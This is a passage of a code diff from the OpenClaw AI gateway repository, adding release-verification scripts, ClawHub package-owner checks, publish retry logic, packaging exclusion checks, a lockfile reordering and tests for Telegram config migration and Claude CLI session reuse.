remoteOutputDir,
slackUrl,
startedAt: startedAt.toISOString(),
status: "pass",
};
return {
outputDir,
reportPath,
screenshotPath,
status: "pass",
summaryPath,
};
} catch (error) {
summary = {
artifacts: {
reportPath,
screenshotPath,
slackQaDir,
summaryPath,
},
crabbox: {
bin: crabboxBin,
createdLease,
id: leaseId ?? "unallocated",
provider,
vncCommand: leaseId
? `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`
: "unallocated",
},
error: formatErrorMessage(error),
finishedAt: new Date().toISOString(),
outputDir,
remoteOutputDir,
slackUrl,
startedAt: startedAt.toISOString(),
status: "fail",
};
await fs.writeFile(path.join(outputDir, "error.txt"), `${summary.error}\n`, "utf8");
return {
outputDir,
reportPath,
screenshotPath,
status: "fail",
summaryPath,
};
} finally {
if (summary) {
summary.finishedAt = new Date().toISOString();
await fs.writeFile(summaryPath, `${JSON.stringify(summary, null, 2)}\n`, "utf8");
await fs.writeFile(reportPath, renderReport(summary), "utf8");
}
if (summary?.status === "pass" && createdLease && leaseId && !keepLease) {
await stopCrabbox({ crabboxBin, cwd: repoRoot, env, leaseId, provider, runner });
}
}
}

View File

@@ -132,6 +132,42 @@ describe("telegram doctor", () => {
);
});
it("normalizes legacy telegram streaming progress config", () => {
const normalize = telegramDoctor.normalizeCompatibilityConfig;
expect(normalize).toBeDefined();
if (!normalize) {
return;
}
const result = normalize({
cfg: {
channels: {
telegram: {
streaming: {
mode: "partial",
progress: {
label: "Working",
maxLines: 3,
toolProgress: false,
},
},
},
},
} as never,
});
expect(result.config.channels?.telegram?.streaming).toEqual({
mode: "partial",
preview: {
toolProgress: false,
},
});
expect(result.changes).toEqual([
"Moved channels.telegram.streaming.progress.toolProgress → channels.telegram.streaming.preview.toolProgress.",
"Removed channels.telegram.streaming.progress legacy object.",
]);
});
it("does not duplicate streaming.mode change messages when streamMode wins over boolean streaming", () => {
const normalize = telegramDoctor.normalizeCompatibilityConfig;
expect(normalize).toBeDefined();

View File

@@ -226,6 +226,7 @@ function createXaiRealtimeTranscriptionSession(
reconnectDelayMs: XAI_REALTIME_STT_RECONNECT_DELAY_MS,
maxQueuedBytes: XAI_REALTIME_STT_MAX_QUEUED_BYTES,
connectTimeoutMessage: "xAI realtime transcription connection timeout",
connectClosedBeforeReadyMessage: "xAI realtime transcription connection closed before ready",
reconnectLimitMessage: "xAI realtime transcription reconnect limit reached",
sendAudio: (audio, transport) => {
transport.sendBinary(audio);

View File

@@ -1,6 +1,6 @@
{
"name": "openclaw",
"version": "2026.5.3",
"version": "2026.5.3-1",
"description": "Multi-channel AI gateway with extensible messaging integrations",
"keywords": [],
"homepage": "https://github.com/openclaw/openclaw#readme",
@@ -1437,6 +1437,7 @@
"moltbot:rpc": "node scripts/run-node.mjs agent --mode rpc --json",
"openclaw": "node scripts/run-node.mjs",
"openclaw:rpc": "node scripts/run-node.mjs agent --mode rpc --json",
"package:exclusions:check": "node --import tsx scripts/sync-root-package-exclusions.ts --check",
"perf:kova:summary": "node scripts/kova-ci-summary.mjs",
"perf:source:summary": "node scripts/openclaw-performance-source-summary.mjs",
"plugin-sdk:api:check": "node --max-old-space-size=4096 --import tsx scripts/generate-plugin-sdk-api-baseline.ts --check",
@@ -1477,13 +1478,15 @@
"qa:lab:watch": "vite build --watch --config extensions/qa-lab/web/vite.config.ts",
"qa:otel:smoke": "node --import tsx scripts/qa-otel-smoke.ts",
"release-metadata:check": "node scripts/check-release-metadata-only.mjs",
"release:check": "pnpm deps:root-ownership:check && pnpm plugins:inventory:check && pnpm check:base-config-schema && pnpm check:bundled-channel-config-metadata && pnpm config:docs:check && pnpm plugin-sdk:check-exports && pnpm plugin-sdk:api:check && node --import tsx scripts/release-check.ts",
"release:check": "pnpm deps:root-ownership:check && pnpm package:exclusions:check && pnpm plugins:inventory:check && pnpm release:plugins:npm:runtime:check && pnpm check:base-config-schema && pnpm check:bundled-channel-config-metadata && pnpm config:docs:check && pnpm plugin-sdk:check-exports && pnpm plugin-sdk:api:check && node --import tsx scripts/release-check.ts",
"release:openclaw:npm:check": "node --import tsx scripts/openclaw-npm-release-check.ts",
"release:openclaw:npm:verify-published": "node --import tsx scripts/openclaw-npm-postpublish-verify.ts",
"release:plugins:clawhub:check": "node --import tsx scripts/plugin-clawhub-release-check.ts",
"release:plugins:clawhub:plan": "node --import tsx scripts/plugin-clawhub-release-plan.ts",
"release:plugins:npm:check": "node --import tsx scripts/plugin-npm-release-check.ts",
"release:plugins:npm:plan": "node --import tsx scripts/plugin-npm-release-plan.ts",
"release:plugins:npm:runtime:check": "node scripts/check-plugin-npm-runtime-builds.mjs",
"release:registries:verify": "node --import tsx scripts/release-registries-verify.ts",
"rtt": "node --import tsx scripts/rtt.ts",
"runtime-sidecars:check": "node --import tsx scripts/generate-runtime-sidecar-paths-baseline.ts --check",
"runtime-sidecars:gen": "node --import tsx scripts/generate-runtime-sidecar-paths-baseline.ts --write",

21
pnpm-lock.yaml generated
View File

@@ -217,10 +217,6 @@ importers:
zod:
specifier: ^4.4.1
version: 4.4.1
optionalDependencies:
sqlite-vec:
specifier: 0.1.9
version: 0.1.9
devDependencies:
'@copilotkit/aimock':
specifier: 1.16.4
@@ -288,6 +284,10 @@ importers:
vitest:
specifier: ^4.1.5
version: 4.1.5(@opentelemetry/api@1.9.1)(@types/node@25.6.0)(@vitest/browser-playwright@4.1.5)(@vitest/coverage-v8@4.1.5)(jsdom@29.1.1(@noble/hashes@2.0.1))(vite@8.0.10(@types/node@25.6.0)(esbuild@0.27.7)(jiti@2.6.1)(tsx@4.21.0)(yaml@2.8.3))
optionalDependencies:
sqlite-vec:
specifier: 0.1.9
version: 0.1.9
extensions/acpx:
dependencies:
@@ -6395,10 +6395,6 @@ packages:
resolution: {integrity: sha512-9MdFxmkKaOYVTV+XVRG8ArDwwQ77XIgIPyKASB1k3JPq3M8fGQQQE3YpMOrKm6g//Ktx8ivZr8xo1Qmtqub+GA==}
engines: {node: ^18 || ^20 || >= 21}
node-gyp-build@4.8.4:
resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==}
hasBin: true
node-downloader-helper@2.1.11:
resolution: {integrity: sha512-882fH2C9AWdiPCwz/2beq5t8FGMZK9Dx8TJUOIxzMCbvG7XUKM5BuJwN5f0NKo4SCQK6jR4p2TPm54mYGdGchQ==}
engines: {node: '>=14.18'}
@@ -6421,6 +6417,10 @@ packages:
resolution: {integrity: sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==}
engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}
node-gyp-build@4.8.4:
resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==}
hasBin: true
node-sarif-builder@3.4.0:
resolution: {integrity: sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==}
engines: {node: '>=20'}
@@ -13588,8 +13588,6 @@ snapshots:
node-addon-api@8.7.0: {}
node-gyp-build@4.8.4: {}
node-downloader-helper@2.1.11: {}
node-edge-tts@1.2.10:
@@ -13612,6 +13610,8 @@ snapshots:
fetch-blob: 3.2.0
formdata-polyfill: 4.0.10
node-gyp-build@4.8.4: {}
node-sarif-builder@3.4.0:
dependencies:
'@types/sarif': 2.1.7
@@ -14606,6 +14606,7 @@ snapshots:
sqlite-vec-linux-arm64: 0.1.9
sqlite-vec-linux-x64: 0.1.9
sqlite-vec-windows-x64: 0.1.9
optional: true
stackback@0.0.2: {}

View File

@@ -157,6 +157,53 @@ function readTarEntry(entryPath) {
return "";
}
function collectRootPackageExcludedExtensionDirs(packageJson) {
/** @type {Set<string>} */
const excluded = new Set();
for (const entry of packageJson.files ?? []) {
if (typeof entry !== "string") {
continue;
}
const match = /^!dist\/extensions\/([^/]+)\/\*\*$/u.exec(entry);
if (match?.[1]) {
excluded.add(match[1]);
}
}
return excluded;
}
function collectExternalizedPluginRootChunkErrors(packageJson) {
const excludedExtensionDirs = collectRootPackageExcludedExtensionDirs(packageJson);
if (excludedExtensionDirs.size === 0) {
return [];
}
/** @type {Map<string, string[]>} */
const leaked = new Map();
for (const entry of normalized) {
if (
!entry.startsWith("dist/") ||
entry.startsWith("dist/extensions/") ||
!/\.(?:cjs|js|mjs)$/u.test(entry)
) {
continue;
}
const source = readTarEntry(entry);
for (const pluginId of excludedExtensionDirs) {
if (source.includes(`//#region extensions/${pluginId}/`)) {
const files = leaked.get(pluginId) ?? [];
files.push(entry);
leaked.set(pluginId, files);
}
}
}
return [...leaked.entries()]
.map(([pluginId, files]) => {
const fileList = [...new Set(files)].toSorted((left, right) => left.localeCompare(right));
return `root dist contains code from externalized plugin '${pluginId}' in ${fileList.join(", ")}; excluded plugins must not be compiled into root package chunks.`;
})
.toSorted((left, right) => left.localeCompare(right));
}
for (const entry of normalized) {
if (entry.startsWith("/") || entry.split("/").includes("..")) {
errors.push(`unsafe tar entry: ${entry}`);
@@ -180,14 +227,16 @@ for (const requiredPrefix of REQUIRED_TARBALL_ENTRY_PREFIXES) {
}
}
let packageVersion = "";
let packageJson = {};
if (entrySet.has("package.json")) {
try {
const packageJson = JSON.parse(readTarEntry("package.json"));
packageJson = JSON.parse(readTarEntry("package.json"));
packageVersion = typeof packageJson.version === "string" ? packageJson.version : "";
} catch {
packageVersion = "";
}
}
errors.push(...collectExternalizedPluginRootChunkErrors(packageJson));
for (const forbiddenEntry of FORBIDDEN_LOCAL_BUILD_METADATA_FILES) {
if (entrySet.has(forbiddenEntry)) {
if (isLegacyLocalBuildMetadataCompatVersion(packageVersion)) {

View File

@@ -38,7 +38,7 @@ for (let index = 0; index < packageArgs.length; index += 3) {
const metadataFor = (entry, baseUrl) => ({
name: entry.packageName,
"dist-tags": { latest: entry.latestVersion },
"dist-tags": { latest: entry.latestVersion, beta: entry.latestVersion },
versions: Object.fromEntries(
[...entry.versions.entries()].map(([version, versionEntry]) => [
version,

View File

@@ -15,6 +15,19 @@ if ! command -v node >/dev/null 2>&1 || ! command -v npm >/dev/null 2>&1; then
fi
fi
node_cmd="node"
npm_cmd="npm"
if command -v cygpath >/dev/null 2>&1; then
if command -v node.exe >/dev/null 2>&1; then
node_cmd="node.exe"
fi
if command -v npm.cmd >/dev/null 2>&1; then
npm_cmd="npm.cmd"
elif command -v npm.exe >/dev/null 2>&1; then
npm_cmd="npm.exe"
fi
fi
temp_root="${OPENCLAW_RELEASE_TSX_TOOL_ROOT:-${RUNNER_TEMP:-${TMPDIR:-/tmp}}}"
if command -v cygpath >/dev/null 2>&1; then
temp_root="$(cygpath -u "${temp_root}")"
@@ -22,27 +35,34 @@ fi
tool_dir="${OPENCLAW_RELEASE_TSX_TOOL_DIR:-${temp_root}/openclaw-release-tsx-${tsx_version}}"
loader_path="${tool_dir}/node_modules/tsx/dist/loader.mjs"
npm_tool_dir="${tool_dir}"
if command -v cygpath >/dev/null 2>&1; then
npm_tool_dir="$(cygpath -w "${tool_dir}")"
fi
command -v node >/dev/null 2>&1 || {
command -v "${node_cmd}" >/dev/null 2>&1 || {
echo "node is required to run cross-OS release checks." >&2
exit 127
}
command -v npm >/dev/null 2>&1 || {
command -v "${npm_cmd}" >/dev/null 2>&1 || {
echo "npm is required to install the cross-OS release-check loader." >&2
exit 127
}
if [[ ! -f "${loader_path}" ]]; then
mkdir -p "${tool_dir}"
npm install --prefix "${tool_dir}" --no-save --no-package-lock "tsx@${tsx_version}" >/dev/null
if ! "${npm_cmd}" install --prefix "${npm_tool_dir}" --no-save --no-package-lock "tsx@${tsx_version}" >/dev/null; then
echo "failed to install cross-OS release-check loader with ${npm_cmd}." >&2
exit 127
fi
fi
loader_url="$(
node -e '
"${node_cmd}" -e '
const { resolve } = require("node:path");
const { pathToFileURL } = require("node:url");
process.stdout.write(pathToFileURL(resolve(process.argv[1])).href);
' "${loader_path}"
)"
exec node --import "${loader_url}" "${script_path}" "$@"
exec "${node_cmd}" --import "${loader_url}" "${script_path}" "$@"

View File

@@ -60,6 +60,12 @@ type PluginReleasePlan = {
skippedPublished: PluginReleasePlanItem[];
};
type ClawHubPackageOwnerDetail = {
owner?: {
handle?: unknown;
} | null;
};
type ClawHubPublishablePluginPackageFilters = {
extensionIds?: readonly string[];
packageNames?: readonly string[];
@@ -76,6 +82,7 @@ const CLAWHUB_SHARED_RELEASE_INPUT_PATHS = [
"scripts/lib/npm-publish-plan.mjs",
"scripts/lib/plugin-npm-release.ts",
"scripts/lib/plugin-clawhub-release.ts",
"scripts/plugin-clawhub-owner-preflight.ts",
"scripts/openclaw-npm-release-check.ts",
"scripts/plugin-clawhub-publish.sh",
"scripts/plugin-clawhub-release-check.ts",
@@ -343,6 +350,59 @@ async function isPluginVersionPublishedOnClawHub(
);
}
export async function collectClawHubOpenClawOwnerErrors(params: {
plugins: readonly Pick<PublishablePluginPackage, "packageName">[];
requiredOwnerHandle?: string;
registryBaseUrl?: string;
fetchImpl?: typeof fetch;
}): Promise<string[]> {
const fetchImpl = params.fetchImpl ?? fetch;
const requiredOwnerHandle = params.requiredOwnerHandle ?? "openclaw";
const errors: string[] = [];
await Promise.all(
params.plugins.map(async (plugin) => {
if (!plugin.packageName.startsWith("@openclaw/")) {
return;
}
const url = new URL(
`/api/v1/packages/${encodeURIComponent(plugin.packageName)}`,
getRegistryBaseUrl(params.registryBaseUrl),
);
const response = await fetchImpl(url, {
method: "GET",
headers: {
Accept: "application/json",
},
});
if (response.status === 404) {
errors.push(
`${plugin.packageName}: ClawHub package row must already exist under @${requiredOwnerHandle} before OpenClaw release publish.`,
);
return;
}
if (!response.ok) {
errors.push(
`${plugin.packageName}: failed to query ClawHub owner: ${response.status} ${response.statusText}`,
);
return;
}
const detail = (await response.json()) as ClawHubPackageOwnerDetail;
const ownerHandle = typeof detail.owner?.handle === "string" ? detail.owner.handle : null;
if (ownerHandle !== requiredOwnerHandle) {
errors.push(
`${plugin.packageName}: ClawHub package owner must be @${requiredOwnerHandle}; got ${ownerHandle ? `@${ownerHandle}` : "<missing>"}.`,
);
}
}),
);
return errors.toSorted();
}
export async function collectPluginClawHubReleasePlan(params?: {
rootDir?: string;
selection?: string[];

View File

@@ -779,7 +779,9 @@ async function runUpgradeLane(params) {
timeoutMs: updateTimeoutMs(),
check: false,
});
if (isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(updateResult, process.platform)) {
const usedWindowsPackagedUpgradeFallback =
isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(updateResult, process.platform);
if (usedWindowsPackagedUpgradeFallback) {
logLanePhase(lane, "update-fallback-install");
await installPackageSpec({
lane,
@@ -793,14 +795,21 @@ async function runUpgradeLane(params) {
});
}
logLanePhase(lane, "update-status");
await runOpenClaw({
lane,
env: updateEnv,
args: ["update", "status", "--json"],
logPath: join(params.logsDir, "upgrade-update-status.log"),
timeoutMs: 2 * 60 * 1000,
});
if (
shouldRunPackagedUpgradeStatusProbe({
platform: process.platform,
usedWindowsPackagedUpgradeFallback,
})
) {
logLanePhase(lane, "update-status");
await runOpenClaw({
lane,
env: updateEnv,
args: ["update", "status", "--json"],
logPath: join(params.logsDir, "upgrade-update-status.log"),
timeoutMs: 2 * 60 * 1000,
});
}
logLanePhase(lane, "run-bundled-plugin-postinstall");
await runBundledPluginPostinstall({
lane,
@@ -1350,6 +1359,13 @@ export function isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(
);
}
export function shouldRunPackagedUpgradeStatusProbe({
platform = process.platform,
usedWindowsPackagedUpgradeFallback,
} = {}) {
return !(platform === "win32" && usedWindowsPackagedUpgradeFallback);
}
export function resolveExplicitBaselineVersion(baselineSpec) {
const trimmed = baselineSpec.trim();
if (!trimmed || trimmed === "openclaw@latest") {

View File

@@ -0,0 +1,44 @@
#!/usr/bin/env -S node --import tsx
import { readFileSync } from "node:fs";
import { pathToFileURL } from "node:url";
import { collectClawHubOpenClawOwnerErrors } from "./lib/plugin-clawhub-release.ts";
type ReleasePlanFile = {
candidates?: Array<{
packageName?: unknown;
}>;
};
export async function runClawHubOwnerPreflight(argv: string[]) {
const planPath = argv[0];
if (!planPath) {
throw new Error("usage: plugin-clawhub-owner-preflight.ts <release-plan.json>");
}
const parsed = JSON.parse(readFileSync(planPath, "utf8")) as ReleasePlanFile;
const candidates = (parsed.candidates ?? [])
.filter(
(candidate): candidate is { packageName: string } =>
typeof candidate.packageName === "string",
)
.map((candidate) => ({ packageName: candidate.packageName }));
const errors = await collectClawHubOpenClawOwnerErrors({ plugins: candidates });
if (errors.length > 0) {
throw new Error(
`ClawHub OpenClaw package ownership preflight failed:\n${errors.map((error) => `- ${error}`).join("\n")}`,
);
}
console.log(`ClawHub OpenClaw owner preflight passed for ${candidates.length} candidate(s).`);
}
if (import.meta.url === pathToFileURL(process.argv[1] ?? "").href) {
try {
await runClawHubOwnerPreflight(process.argv.slice(2));
} catch (error) {
console.error(error instanceof Error ? error.message : String(error));
process.exit(1);
}
}

View File

@@ -152,4 +152,17 @@ if [[ "${mode}" == "--dry-run" ]]; then
exit 0
fi
CLAWHUB_WORKDIR="${clawhub_workdir}" "${publish_cmd[@]}"
publish_log="${pack_dir}/publish.log"
for attempt in $(seq 1 "${OPENCLAW_CLAWHUB_PUBLISH_ATTEMPTS:-8}"); do
if CLAWHUB_WORKDIR="${clawhub_workdir}" "${publish_cmd[@]}" > >(tee "${publish_log}") 2>&1; then
exit 0
fi
if ! grep -Eqi "rate limit|too many requests|\\b429\\b" "${publish_log}"; then
exit 1
fi
echo "ClawHub publish hit a rate limit; retrying (${attempt}/${OPENCLAW_CLAWHUB_PUBLISH_ATTEMPTS:-8})." >&2
sleep "${OPENCLAW_CLAWHUB_PUBLISH_RETRY_DELAY_SECONDS:-60}"
done
echo "ClawHub publish failed after ${OPENCLAW_CLAWHUB_PUBLISH_ATTEMPTS:-8} attempts." >&2
exit 1

View File

@@ -0,0 +1,234 @@
#!/usr/bin/env -S node --import tsx
import { execFileSync } from "node:child_process";
import { readFileSync } from "node:fs";
import { resolve } from "node:path";
import { pathToFileURL } from "node:url";
import { collectClawHubPublishablePluginPackages } from "./lib/plugin-clawhub-release.ts";
import { collectPublishablePluginPackages } from "./lib/plugin-npm-release.ts";
type NpmDistTag = "alpha" | "beta" | "latest";
type NpmRegistryCheck = {
registry: "npm";
packageName: string;
version: string;
distTag: NpmDistTag;
};
type ClawHubRegistryCheck = {
registry: "clawhub";
packageName: string;
version: string;
registryBaseUrl: string;
};
export type ReleaseRegistryCheck = NpmRegistryCheck | ClawHubRegistryCheck;
export type ReleaseRegistryResult = ReleaseRegistryCheck & {
ok: boolean;
detail: string;
};
export type ReleaseRegistryClients = {
npmView?: (args: string[]) => string;
clawHubStatus?: (
packageName: string,
version: string,
registryBaseUrl: string,
) => Promise<number>;
};
function readRootVersion(rootDir: string) {
const packageJson = JSON.parse(readFileSync(resolve(rootDir, "package.json"), "utf8")) as {
version?: unknown;
};
if (typeof packageJson.version !== "string" || !packageJson.version.trim()) {
throw new Error("Root package.json version is required.");
}
return packageJson.version.trim();
}
function parseDistTag(value: string): NpmDistTag {
if (value === "alpha" || value === "beta" || value === "latest") {
return value;
}
throw new Error(`Unsupported npm dist-tag: ${value}`);
}
function defaultNpmView(args: string[]) {
return execFileSync("npm", ["view", ...args], {
encoding: "utf8",
stdio: ["ignore", "pipe", "pipe"],
}).trim();
}
async function defaultClawHubStatus(packageName: string, version: string, registryBaseUrl: string) {
const encodedName = encodeURIComponent(packageName);
const encodedVersion = encodeURIComponent(version);
const url = `${registryBaseUrl.replace(/\/+$/u, "")}/api/v1/packages/${encodedName}/versions/${encodedVersion}`;
const response = await fetch(url);
return response.status;
}
export function collectReleaseRegistryChecks(params: {
rootDir?: string;
version?: string;
npmDistTag?: NpmDistTag;
clawHubRegistryBaseUrl?: string;
}): ReleaseRegistryCheck[] {
const rootDir = resolve(params.rootDir ?? ".");
const version = params.version ?? readRootVersion(rootDir);
const npmDistTag = params.npmDistTag ?? "beta";
const clawHubRegistryBaseUrl =
params.clawHubRegistryBaseUrl?.trim() ||
process.env.CLAWHUB_REGISTRY?.trim() ||
"https://clawhub.ai";
const checks: ReleaseRegistryCheck[] = [
{
registry: "npm",
packageName: "openclaw",
version,
distTag: npmDistTag,
},
];
const seenNpmPackages = new Set(["openclaw"]);
for (const plugin of collectPublishablePluginPackages(rootDir)) {
if (seenNpmPackages.has(plugin.packageName)) {
continue;
}
seenNpmPackages.add(plugin.packageName);
checks.push({
registry: "npm",
packageName: plugin.packageName,
version,
distTag: npmDistTag,
});
}
const seenClawHubPackages = new Set<string>();
for (const plugin of collectClawHubPublishablePluginPackages(rootDir)) {
if (seenClawHubPackages.has(plugin.packageName)) {
continue;
}
seenClawHubPackages.add(plugin.packageName);
checks.push({
registry: "clawhub",
packageName: plugin.packageName,
version,
registryBaseUrl: clawHubRegistryBaseUrl,
});
}
return checks.toSorted((left, right) => {
const registryCompare = left.registry.localeCompare(right.registry);
return registryCompare || left.packageName.localeCompare(right.packageName);
});
}
export async function verifyReleaseRegistries(
checks: ReleaseRegistryCheck[],
clients: ReleaseRegistryClients = {},
): Promise<ReleaseRegistryResult[]> {
const npmView = clients.npmView ?? defaultNpmView;
const clawHubStatus = clients.clawHubStatus ?? defaultClawHubStatus;
const results: ReleaseRegistryResult[] = [];
for (const check of checks) {
if (check.registry === "npm") {
try {
const publishedVersion = npmView([`${check.packageName}@${check.version}`, "version"]);
const publishedDistTag = npmView([check.packageName, `dist-tags.${check.distTag}`]);
const ok = publishedVersion === check.version && publishedDistTag === check.version;
results.push({
...check,
ok,
detail: ok
? `${check.packageName}@${check.version} ${check.distTag}`
: `expected version/dist-tag ${check.version}, got version=${publishedVersion || "<missing>"} dist-tag=${publishedDistTag || "<missing>"}`,
});
} catch (error) {
results.push({
...check,
ok: false,
detail: error instanceof Error ? error.message : String(error),
});
}
continue;
}
try {
const status = await clawHubStatus(check.packageName, check.version, check.registryBaseUrl);
results.push({
...check,
ok: status >= 200 && status < 300,
detail: `HTTP ${status}`,
});
} catch (error) {
results.push({
...check,
ok: false,
detail: error instanceof Error ? error.message : String(error),
});
}
}
return results;
}
function parseArgs(argv: string[]) {
let version: string | undefined;
let npmDistTag: NpmDistTag = "beta";
let rootDir = ".";
let clawHubRegistryBaseUrl: string | undefined;
for (let index = 0; index < argv.length; index += 1) {
const arg = argv[index];
const next = () => {
const value = argv[index + 1];
if (!value) {
throw new Error(`${arg} requires a value.`);
}
index += 1;
return value;
};
if (arg === "--version") {
version = next();
} else if (arg === "--npm-dist-tag") {
npmDistTag = parseDistTag(next());
} else if (arg === "--root") {
rootDir = next();
} else if (arg === "--clawhub-registry") {
clawHubRegistryBaseUrl = next();
} else {
throw new Error(`Unknown argument: ${arg}`);
}
}
return { rootDir, version, npmDistTag, clawHubRegistryBaseUrl };
}
async function main(argv: string[]) {
const params = parseArgs(argv);
const checks = collectReleaseRegistryChecks(params);
const results = await verifyReleaseRegistries(checks);
const failed = results.filter((result) => !result.ok);
for (const result of results) {
const label =
result.registry === "npm"
? `npm ${result.packageName}@${result.version}`
: `clawhub ${result.packageName}@${result.version}`;
console.log(`${result.ok ? "ok" : "fail"} ${label}: ${result.detail}`);
}
if (failed.length > 0) {
throw new Error(
`release registry verification failed for ${failed.length}/${results.length} checks`,
);
}
console.log(`release registry verification passed for ${results.length} checks`);
}
if (import.meta.url === pathToFileURL(process.argv[1] ?? "").href) {
main(process.argv.slice(2)).catch((error) => {
console.error(error instanceof Error ? error.message : String(error));
process.exitCode = 1;
});
}

View File

@@ -0,0 +1,97 @@
#!/usr/bin/env -S node --import tsx
import { cwd } from "node:process";
import tsdownConfig from "../tsdown.config.ts";
import { collectRootPackageExcludedExtensionDirs } from "./lib/bundled-plugin-build-entries.mjs";
type TsdownConfigEntry = {
entry?: Record<string, string> | string[];
};
function asConfigArray(config: unknown): TsdownConfigEntry[] {
return Array.isArray(config) ? (config as TsdownConfigEntry[]) : [config as TsdownConfigEntry];
}
function entrySources(config: TsdownConfigEntry): Record<string, string> {
if (!config.entry || Array.isArray(config.entry)) {
return {};
}
return config.entry;
}
function findRootDistGraph(): TsdownConfigEntry | undefined {
return asConfigArray(tsdownConfig).find((config) => {
const entries = entrySources(config);
return entries["plugins/runtime/index"] === "src/plugins/runtime/index.ts";
});
}
function entryReferencesPlugin(params: { entryKey: string; pluginId: string; source: string }) {
const pluginEntryPrefix = `extensions/${params.pluginId}/`;
return (
params.entryKey === `extensions/${params.pluginId}` ||
params.entryKey.startsWith(pluginEntryPrefix) ||
params.source === `extensions/${params.pluginId}` ||
params.source.startsWith(pluginEntryPrefix)
);
}
function collectErrors(params: {
excludedPluginIds: readonly string[];
rootEntries: Record<string, string>;
}) {
const errors: string[] = [];
for (const pluginId of params.excludedPluginIds) {
for (const [entryKey, source] of Object.entries(params.rootEntries)) {
if (entryReferencesPlugin({ entryKey, pluginId, source })) {
errors.push(
`root package excludes dist/extensions/${pluginId}/**, but tsdown root entry "${entryKey}" still builds ${source}`,
);
}
}
}
return errors;
}
function main(argv = process.argv.slice(2)) {
const json = argv.includes("--json");
const excludedPluginIds = [...collectRootPackageExcludedExtensionDirs({ cwd: cwd() })].toSorted(
(left, right) => left.localeCompare(right),
);
const rootGraph = findRootDistGraph();
const rootEntries = rootGraph ? entrySources(rootGraph) : {};
const errors = rootGraph
? collectErrors({ excludedPluginIds, rootEntries })
: ["could not find tsdown root dist graph"];
if (json) {
console.log(
JSON.stringify(
{
ok: errors.length === 0,
excludedPluginIds,
rootEntryCount: Object.keys(rootEntries).length,
errors,
},
null,
2,
),
);
} else if (errors.length === 0) {
console.log(
`root package exclusions synced: ${excludedPluginIds.length} excluded plugin dirs omitted from ${Object.keys(rootEntries).length} root tsdown entries.`,
);
} else {
for (const error of errors) {
console.error(`[root-package-exclusions] ${error}`);
}
}
if (errors.length > 0) {
process.exitCode = 1;
}
}
if (import.meta.main) {
main();
}

View File

@@ -124,8 +124,8 @@ function sleep(ms) {
}
async function packPublishedPackage(spec, destinationDir) {
const attempts = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_ATTEMPTS ?? "6", 10);
const delayMs = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_DELAY_MS ?? "5000", 10);
const attempts = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_ATTEMPTS ?? "90", 10);
const delayMs = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_DELAY_MS ?? "10000", 10);
let lastError;
for (let attempt = 1; attempt <= attempts; attempt += 1) {
try {
@@ -133,6 +133,9 @@ async function packPublishedPackage(spec, destinationDir) {
} catch (error) {
lastError = error;
if (attempt < attempts) {
console.error(
`npm pack ${spec} not visible yet (attempt ${attempt}/${attempts}); retrying in ${delayMs}ms...`,
);
await sleep(delayMs);
}
}

View File

@@ -19,6 +19,11 @@ vi.mock("../../plugins/hook-runner-global.js", () => ({
getGlobalHookRunner: vi.fn(() => null),
}));
vi.mock("../../plugin-sdk/anthropic-cli.js", () => ({
CLAUDE_CLI_BACKEND_ID: "claude-cli",
isClaudeCliProvider: (providerId: string) => providerId === "claude-cli",
}));
vi.mock("../../tts/tts.js", () => ({
buildTtsSystemPromptHint: vi.fn(() => undefined),
}));
@@ -668,4 +673,128 @@ describe("shouldSkipLocalCliCredentialEpoch", () => {
fs.rmSync(dir, { recursive: true, force: true });
}
});
it("drops the claude-cli sessionId when the on-disk transcript is missing (#77011)", async () => {
const { dir, sessionFile } = createSessionFile();
try {
cliBackendsTesting.setDepsForTest({
resolvePluginSetupCliBackend: () => undefined,
resolveRuntimeCliBackends: () => [
{
id: "claude-cli",
pluginId: "anthropic",
bundleMcp: false,
config: {
command: "claude",
args: ["--print"],
resumeArgs: ["--resume", "{sessionId}"],
output: "jsonl",
input: "stdin",
sessionMode: "existing",
},
},
],
});
const transcriptCheck = vi.fn(async () => false);
setCliRunnerPrepareTestDeps({
claudeCliSessionTranscriptHasContent: transcriptCheck,
});
const context = await prepareCliRunContext({
sessionId: "session-test",
sessionKey: "agent:main:telegram:direct:peer",
sessionFile,
workspaceDir: dir,
prompt: "follow-up",
provider: "claude-cli",
model: "opus",
timeoutMs: 1_000,
runId: "run-77011-missing",
cliSessionBinding: { sessionId: "stale-claude-sid" },
cliSessionId: "stale-claude-sid",
config: createCliBackendConfig({ systemPromptOverride: null }),
});
expect(transcriptCheck).toHaveBeenCalledWith({ sessionId: "stale-claude-sid" });
expect(context.reusableCliSession).toEqual({ invalidatedReason: "missing-transcript" });
} finally {
fs.rmSync(dir, { recursive: true, force: true });
}
});
it("keeps the claude-cli sessionId when the on-disk transcript is present", async () => {
const { dir, sessionFile } = createSessionFile();
try {
cliBackendsTesting.setDepsForTest({
resolvePluginSetupCliBackend: () => undefined,
resolveRuntimeCliBackends: () => [
{
id: "claude-cli",
pluginId: "anthropic",
bundleMcp: false,
config: {
command: "claude",
args: ["--print"],
resumeArgs: ["--resume", "{sessionId}"],
output: "jsonl",
input: "stdin",
sessionMode: "existing",
},
},
],
});
const transcriptCheck = vi.fn(async () => true);
setCliRunnerPrepareTestDeps({
claudeCliSessionTranscriptHasContent: transcriptCheck,
});
const context = await prepareCliRunContext({
sessionId: "session-test",
sessionKey: "agent:main:telegram:direct:peer",
sessionFile,
workspaceDir: dir,
